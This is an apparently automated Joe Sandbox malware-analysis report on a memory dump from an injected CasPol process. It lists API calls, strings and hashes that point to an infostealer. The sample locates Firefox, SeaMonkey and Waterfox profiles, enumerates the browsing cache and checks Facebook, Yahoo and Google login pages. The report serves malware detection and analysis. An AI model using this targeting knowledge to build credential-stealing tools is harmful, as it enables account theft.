                                                                                                                                                                  control_flow_graph 631 40e175-40e1a1 call 40695d call 406b90 636 40e1a7-40e1e5 memset 631->636 637 40e299-40e2a8 call 4069a3 631->637 639 40e1e8-40e1fa call 406e8f 636->639 643 40e270-40e27d call 406b53 639->643 644 40e1fc-40e219 call 40dd50 * 2 639->644 643->639 649 40e283-40e286 643->649 644->643 655 40e21b-40e21d 644->655 652 40e291-40e294 call 40aa04 649->652 653 40e288-40e290 free 649->653 652->637 653->652 655->643 656 40e21f-40e235 call 40742e 655->656 656->643 659 40e237-40e242 call 40aae3 656->659 659->643 662 40e244-40e26b _snwprintf call 40a8d0 659->662 662->643
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                                                                                                  • memset.MSVCRT ref: 0040E1BD
                                                                                                                                                                    • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                                                                                                  • free.MSVCRT ref: 0040E28B
                                                                                                                                                                    • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                                                                                                    • Part of subcall function 0040AAE3: wcslen.MSVCRT ref: 0040AAF2
                                                                                                                                                                    • Part of subcall function 0040AAE3: _memicmp.MSVCRT ref: 0040AB20
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0040E257
                                                                                                                                                                    • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                                                                                                    • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: free$_wcsicmpmemsetwcslen$_memicmp_snwprintfmemcpy
                                                                                                                                                                  • String ID: $ContainerId$Container_%I64d$Containers$Name
                                                                                                                                                                  • API String ID: 2804212203-2982631422
                                                                                                                                                                  • Opcode ID: 3292a8bc8b2a8f6d115ff62c82a82f0362dff8113198451487ff657a70090be0
                                                                                                                                                                  • Instruction ID: de93d03617a61f3aa6bbe184beafcfad76b4f566d35596b706efacabd7485ccb
                                                                                                                                                                  • Opcode Fuzzy Hash: 3292a8bc8b2a8f6d115ff62c82a82f0362dff8113198451487ff657a70090be0
                                                                                                                                                                  • Instruction Fuzzy Hash: 74318272D002196ADF10EFA6DC45ADEB7B8AF04344F1105BFE508B3191DB38AE598F99
                                                                                                                                                                  Function 0040BB98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040CC26: GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                                                                                                    • Part of subcall function 0040CC26: CloseHandle.KERNELBASE(?), ref: 0040CC98
                                                                                                                                                                    • Part of subcall function 0040CCF0: _wcsicmp.MSVCRT ref: 0040CD2A
                                                                                                                                                                  • memset.MSVCRT ref: 0040BC75
                                                                                                                                                                  • memset.MSVCRT ref: 0040BC8C
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,0044E518,000000FF,?,00000FFF,00000000,00000000,?,?,?,0040B7D4,?,?), ref: 0040BCA8
                                                                                                                                                                  • memcmp.MSVCRT ref: 0040BCD6
                                                                                                                                                                  • memcpy.MSVCRT(00000024,?,00000020,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD2B
                                                                                                                                                                  • LocalFree.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD3D
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$ByteCharCloseFileFreeHandleLocalMultiSizeWide_wcsicmpmemcmpmemcpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 115830560-3916222277
                                                                                                                                                                  • Opcode ID: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                                                                                                                                                                  • Instruction ID: 00a8249a540342db609c93f8c1f67c79963b4134db5221072d0e6ece1bb2d715
                                                                                                                                                                  • Opcode Fuzzy Hash: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                                                                                                                                                                  • Instruction Fuzzy Hash: 3F41B372900219ABDB10ABA5CC85ADEB7ACEF04314F01057BB509F7292D7789E45CA99
                                                                                                                                                                  Function 0041837F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140fileCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 716 41837f-4183bf 717 4183c1-4183cc call 418197 716->717 718 4183dc-4183ec call 418160 716->718 723 4183d2-4183d8 717->723 724 418517-41851d 717->724 725 4183f6-41840b 718->725 726 4183ee-4183f1 718->726 723->718 727 418417-418423 725->727 728 41840d-418415 725->728 726->724 729 418427-418442 call 41739b 727->729 728->729 732 418444-41845d CreateFileW 729->732 733 41845f-418475 CreateFileA 729->733 734 418477-41847c 732->734 733->734 735 4184c2-4184c7 734->735 736 41847e-418495 GetLastError free 734->736 739 4184d5-418501 memset call 418758 735->739 740 4184c9-4184d3 735->740 737 4184b5-4184c0 call 444706 736->737 738 418497-4184b3 call 41837f 736->738 737->724 738->724 746 418506-418515 free 739->746 740->739 746->724
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileW.KERNELBASE(?,-7FBE829D,00000003,00000000,?,?,00000000), ref: 00418457
                                                                                                                                                                  • CreateFileA.KERNEL32(?,-7FBE829D,00000003,00000000,|A,00417CE3,00000000), ref: 0041846F
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0041847E
                                                                                                                                                                  • free.MSVCRT ref: 0041848B
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CreateFile$ErrorLastfree
                                                                                                                                                                  • String ID: |A
                                                                                                                                                                  • API String ID: 77810686-1717621600
                                                                                                                                                                  • Opcode ID: b73738cfafb11dafaf653c45b8d30767a4f0487cb759c2014a2d8a4f30590433
                                                                                                                                                                  • Instruction ID: 73005d91fce95ddd83c4435d1527c7398ec28b7193468e33704956b81d718a95
                                                                                                                                                                  • Opcode Fuzzy Hash: b73738cfafb11dafaf653c45b8d30767a4f0487cb759c2014a2d8a4f30590433
                                                                                                                                                                  • Instruction Fuzzy Hash: 50412472508306AFD710CF25DC4179BBBE5FF84328F14492EF8A492290EB78D9448B96
                                                                                                                                                                  Function 0040D134 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 747 40d134-40d13b 748 40d142-40d14e 747->748 749 40d13d call 40d092 747->749 750 40d160 748->750 751 40d150-40d159 748->751 749->748 755 40d162-40d164 750->755 753 40d15b-40d15e 751->753 754 40d18d-40d19f 751->754 753->750 753->751 754->755 756 40d295 755->756 757 40d16a-40d170 755->757 760 40d297-40d299 756->760 758 40d1a1-40d1a9 757->758 759 40d172-40d18b GetModuleHandleW 757->759 762 40d1f8-40d206 call 40d29a 758->762 763 40d1ab-40d1cb wcscpy call 40d626 758->763 761 40d20b-40d214 LoadStringW 759->761 764 40d216 761->764 762->761 771 40d1cd-40d1dd wcslen 763->771 772 40d1df-40d1f6 GetModuleHandleW 763->772 767 40d218-40d227 764->767 768 40d28e-40d293 764->768 767->768 770 40d229-40d235 767->770 768->760 770->768 773 40d237-40d28c memcpy 770->773 771->764 771->772 772->761 773->756 773->768
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040D1B5
                                                                                                                                                                    • Part of subcall function 0040D626: memset.MSVCRT ref: 0040D639
                                                                                                                                                                    • Part of subcall function 0040D626: _itow.MSVCRT ref: 0040D647
                                                                                                                                                                  • wcslen.MSVCRT ref: 0040D1D3
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                                                                                                  • LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000002,?,?,00402E6F), ref: 0040D24C
                                                                                                                                                                    • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D0CC
                                                                                                                                                                    • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D0EA
                                                                                                                                                                    • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D108
                                                                                                                                                                    • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D126
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
                                                                                                                                                                  • String ID: strings
                                                                                                                                                                  • API String ID: 3166385802-3030018805
                                                                                                                                                                  • Opcode ID: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                                                                                                                                                                  • Instruction ID: f4589d763452722e7ce024d248fd6f149fceb83749f413ad0df853fa0cd60d20
                                                                                                                                                                  • Opcode Fuzzy Hash: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                                                                                                                                                                  • Instruction Fuzzy Hash: 78418D75D003109BD7369FA8ED809263365FF48306700047EE942972A7DEB9E886CB5D
                                                                                                                                                                  Function 00412465 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88windowCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@$HandleIconLoadModulememsetwcscpy
                                                                                                                                                                  • String ID: r!A
                                                                                                                                                                  • API String ID: 2791114272-628097481
                                                                                                                                                                  • Opcode ID: c8dffcb2de6473715ddac6d72e3c76979a49d8854762dd44dbb162fd21f04a95
                                                                                                                                                                  • Instruction ID: f2e108ad35b37ee9f58e8ef6409d1766b43f0b07df47584fb449e80907097569
                                                                                                                                                                  • Opcode Fuzzy Hash: c8dffcb2de6473715ddac6d72e3c76979a49d8854762dd44dbb162fd21f04a95
                                                                                                                                                                  • Instruction Fuzzy Hash: 0431A1B19013889FEB30EF669C896CAB7E8FF44314F00852FE90CCB241DBB946548B49
                                                                                                                                                                  Function 0040C768 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 87COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1AE
                                                                                                                                                                    • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1B6
                                                                                                                                                                    • Part of subcall function 0040AA04: free.MSVCRT ref: 0040AA0B
                                                                                                                                                                    • Part of subcall function 0040C274: memset.MSVCRT ref: 0040C298
                                                                                                                                                                    • Part of subcall function 0040C274: FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                                                                                                    • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C324
                                                                                                                                                                    • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C344
                                                                                                                                                                    • Part of subcall function 0040C274: FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                                                                                                    • Part of subcall function 0040C274: GetLastError.KERNEL32 ref: 0040C373
                                                                                                                                                                    • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C439
                                                                                                                                                                    • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                                                                                                                                                                    • Part of subcall function 0040C3C3: _wcsupr.MSVCRT ref: 0040C481
                                                                                                                                                                    • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C4D0
                                                                                                                                                                    • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                                                                                                                                                                  • _wcslwr.MSVCRT ref: 0040C817
                                                                                                                                                                    • Part of subcall function 0040C634: wcslen.MSVCRT ref: 0040C65F
                                                                                                                                                                    • Part of subcall function 0040C634: memset.MSVCRT ref: 0040C6BF
                                                                                                                                                                  • wcslen.MSVCRT ref: 0040C82C
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$free$CacheEntryEnumFindValuewcschrwcslen$ErrorFirstLastNext_wcslwr_wcsupr
                                                                                                                                                                  • String ID: /$/$http://www.facebook.com/$https://login.yahoo.com/config/login$https://www.google.com/accounts/servicelogin
                                                                                                                                                                  • API String ID: 2936932814-4196376884
                                                                                                                                                                  • Opcode ID: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                                                                                                                                                                  • Instruction ID: 5b72bd72183a146cc5fb8da473a5bce975bbff0c760a192580a28ed18ba85502
                                                                                                                                                                  • Opcode Fuzzy Hash: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                                                                                                                                                                  • Instruction Fuzzy Hash: 42218272A00244A6CF10BB6A9C8589E7B68EF44744B10457BB804B7293D67CDE85DB9D
                                                                                                                                                                  Function 0040B58D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,00000000,?,?), ref: 0040B5A5
                                                                                                                                                                  • FindResourceW.KERNEL32(00000000,00000032,BIN), ref: 0040B5B6
                                                                                                                                                                  • LoadResource.KERNEL32(00000000,00000000), ref: 0040B5C4
                                                                                                                                                                  • SizeofResource.KERNEL32(?,00000000), ref: 0040B5D4
                                                                                                                                                                  • LockResource.KERNEL32(00000000), ref: 0040B5DD
                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000000,00000000), ref: 0040B60D
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Resource$FindHandleLoadLockModuleSizeofmemcpy
                                                                                                                                                                  • String ID: BIN
                                                                                                                                                                  • API String ID: 1668488027-1015027815
                                                                                                                                                                  • Opcode ID: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                                                                                                                                                                  • Instruction ID: e905eb6dc449d61379ecdc49350c1a2f8866219970738eecada31b95dd052af9
                                                                                                                                                                  • Opcode Fuzzy Hash: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                                                                                                                                                                  • Instruction Fuzzy Hash: 5E11C636C00225BBD7116BE2DC09AAFBA78FF85755F010476F81072292DB794D018BED
                                                                                                                                                                  Function 00403C9C Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00403CBF
                                                                                                                                                                  • memset.MSVCRT ref: 00403CD4
                                                                                                                                                                  • memset.MSVCRT ref: 00403CE9
                                                                                                                                                                  • memset.MSVCRT ref: 00403CFE
                                                                                                                                                                  • memset.MSVCRT ref: 00403D13
                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                    • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                                                    • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                                                    • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                                                                    • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                                                                                                  • memset.MSVCRT ref: 00403DDA
                                                                                                                                                                    • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                                                                    • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                                                                                                                                                                  • String ID: Waterfox$Waterfox\Profiles
                                                                                                                                                                  • API String ID: 4039892925-11920434
                                                                                                                                                                  • Opcode ID: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                                                                                                                                                                  • Instruction ID: d72014143a293005b417e5222852f61d3cfc405123c5957a7e6d01a12b636873
                                                                                                                                                                  • Opcode Fuzzy Hash: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                                                                                                                                                                  • Instruction Fuzzy Hash: 1E4133B294012C7ADB20EB56DC85ECF777CEF85314F1180ABB509B2181DA745B948FAA
                                                                                                                                                                  Function 00403E2D Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00403E50
                                                                                                                                                                  • memset.MSVCRT ref: 00403E65
                                                                                                                                                                  • memset.MSVCRT ref: 00403E7A
                                                                                                                                                                  • memset.MSVCRT ref: 00403E8F
                                                                                                                                                                  • memset.MSVCRT ref: 00403EA4
                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                    • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                                                    • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                                                    • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                                                                    • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                                                                                                  • memset.MSVCRT ref: 00403F6B
                                                                                                                                                                    • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                                                                    • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                                                                                                                                                                  • String ID: Mozilla\SeaMonkey$Mozilla\SeaMonkey\Profiles
                                                                                                                                                                  • API String ID: 4039892925-2068335096
                                                                                                                                                                  • Opcode ID: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                                                                                                                                                                  • Instruction ID: badb9319ce56d3a3e0b5d4601891faab39f88fc9b3936f94b46873e2979bc7df
                                                                                                                                                                  • Opcode Fuzzy Hash: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                                                                                                                                                                  • Instruction Fuzzy Hash: F94133B294012CBADB20EB56DC85FCF777CAF85314F1180A7B509F2181DA785B848F6A
                                                                                                                                                                  Function 00403FBE Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00403FE1
                                                                                                                                                                  • memset.MSVCRT ref: 00403FF6
                                                                                                                                                                  • memset.MSVCRT ref: 0040400B
                                                                                                                                                                  • memset.MSVCRT ref: 00404020
                                                                                                                                                                  • memset.MSVCRT ref: 00404035
                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                    • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                                                    • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                                                    • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                                                                    • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                                                                                                  • memset.MSVCRT ref: 004040FC
                                                                                                                                                                    • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                                                                    • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                                                                                                                                                                  • String ID: Mozilla\Firefox$Mozilla\Firefox\Profiles
                                                                                                                                                                  • API String ID: 4039892925-3369679110
                                                                                                                                                                  • Opcode ID: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                                                                                                                                                                  • Instruction ID: a33c26704871042caa7cb74448a1974e70df039046fe21947f04a6d8cbe9f93a
                                                                                                                                                                  • Opcode Fuzzy Hash: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                                                                                                                                                                  • Instruction Fuzzy Hash: 354134B294012CBADB20EB56DC85ECF777CAF85314F1180A7B509B3181EA745B948F6A
                                                                                                                                                                  Function 00444432 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 217COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memcpy.MSVCRT(00000048,00451D40,0000002C,000003FF,00445FAE,?,00000000,?,0040B879), ref: 004444E3
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy
                                                                                                                                                                  • String ID: BINARY$NOCASE$RTRIM$main$no such vfs: %s$temp
                                                                                                                                                                  • API String ID: 3510742995-2641926074
                                                                                                                                                                  • Opcode ID: 94510af7901ecd36673df76512f8cc8f4b4749faf5a93beda853377b65ea3140
                                                                                                                                                                  • Instruction ID: 565814064bb2237b40e40c3ad6633df45ffc5137317807aec9a32ad89077b3bf
                                                                                                                                                                  • Opcode Fuzzy Hash: 94510af7901ecd36673df76512f8cc8f4b4749faf5a93beda853377b65ea3140
                                                                                                                                                                  • Instruction Fuzzy Hash: BA7119B1600701BFE710AF16CC81B66B7A8BB85319F11452FF4189B742D7BDED908B99
                                                                                                                                                                  Function 004032B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040B633: free.MSVCRT ref: 0040B63A
                                                                                                                                                                    • Part of subcall function 0044553B: memset.MSVCRT ref: 004455C2
                                                                                                                                                                    • Part of subcall function 0044553B: wcsrchr.MSVCRT ref: 004455DA
                                                                                                                                                                  • memset.MSVCRT ref: 004033B7
